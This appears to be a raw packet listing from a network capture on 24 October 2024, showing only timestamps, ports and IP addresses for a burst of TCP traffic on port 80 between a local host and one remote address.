Oct 24, 2024 09:07:29.192219019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283071995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283103943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283225060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283230066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283248901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283272028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283283949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283312082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283327103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283348083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283360004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283360958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283374071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283401012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283444881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283456087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283469915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283471107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283482075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283493042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283515930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283545017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283552885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283564091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283593893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283597946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283605099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283615112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283638000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283648014 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283678055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283703089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283714056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283761978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283767939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283780098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283792973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.283821106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283853054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.283989906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284003019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284014940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284024954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284035921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284041882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284073114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284086943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284097910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284107924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284131050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284142017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284153938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284157991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284183979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284194946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284194946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284205914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284229040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284259081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284280062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284291983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284302950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284315109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284336090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284367085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284367085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284415007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284461021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284481049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284492016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284502983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284532070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284548044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284554005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284564018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284574032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284609079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284627914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.284630060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284641027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.284677029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.308924913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.308937073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.308954954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.308968067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.308978081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.308988094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.309020042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.309020042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.309159040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.309168100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.309220076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.444947004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.444961071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.444973946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.444984913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445076942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445096016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445107937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445117950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445157051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445157051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445157051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445157051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445175886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445188999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445259094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445290089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445301056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445312977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445322037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445332050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445339918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445349932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445350885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445391893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445449114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445460081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445475101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445482969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445498943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445530891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445565939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445576906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445586920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445596933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445616007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445646048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445667028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445676088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445686102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445696115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445718050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445750952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445835114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445846081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445857048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445866108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445874929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445884943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445885897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445894957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445904970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445905924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.445925951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445954084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.445964098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446044922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446053982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446063042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446074009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446083069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446091890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446126938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446126938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446176052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446186066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446197033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446207047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446216106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446225882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446230888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446263075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446263075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446455002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446471930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446481943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446491003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446501017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446510077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446518898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446521044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446526051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446533918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446543932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446546078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446553946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446557045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446568012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446576118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446578979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446604013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446722984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446733952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446777105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446877003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446885109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446893930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446904898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446913958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446923018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446923018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446933031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446933031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446943998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.446947098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.446974993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447007895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447016954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447026968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447042942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447052002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447053909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447062016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447108030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447122097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447319031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447335005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447344065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447352886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447361946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447371006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447377920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447381973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447390079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447398901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447406054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447408915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447417974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447427034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447427034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447433949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447442055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447449923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447451115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447459936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447470903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447474957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447482109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447493076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447500944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447823048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447834969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447844982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447856903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447868109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447869062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447876930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447886944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447895050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447897911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447907925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447913885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447920084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.447925091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.447943926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.448142052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448152065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448162079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448173046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448183060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448189020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.448194027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448204041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448215008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448219061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.448225021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448235989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448237896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.448246002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448255062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.448272943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.448297024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.563591003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.563610077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.563808918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.606610060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606641054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606651068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606755018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606820107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606818914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.606820107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.606831074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606906891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.606908083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606919050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606930017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606955051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.606973886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607007027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607026100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607037067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607048035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607057095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607085943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607085943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607177973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607197046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607208967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607218981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607238054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607259035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607259035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607364893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607376099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607386112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607394934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607410908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607438087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607506037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607517958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607527018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607551098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607575893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607655048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607664108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607673883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607677937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607686043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607696056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607705116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607714891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607721090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607724905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607733965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607748032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607748032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607773066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.607884884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607896090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.607939959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608064890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608074903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608083010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608092070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608102083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608109951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608114958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608118057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608128071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608134985 CEST	49772	80	192.168.2.6	185.215.113.16
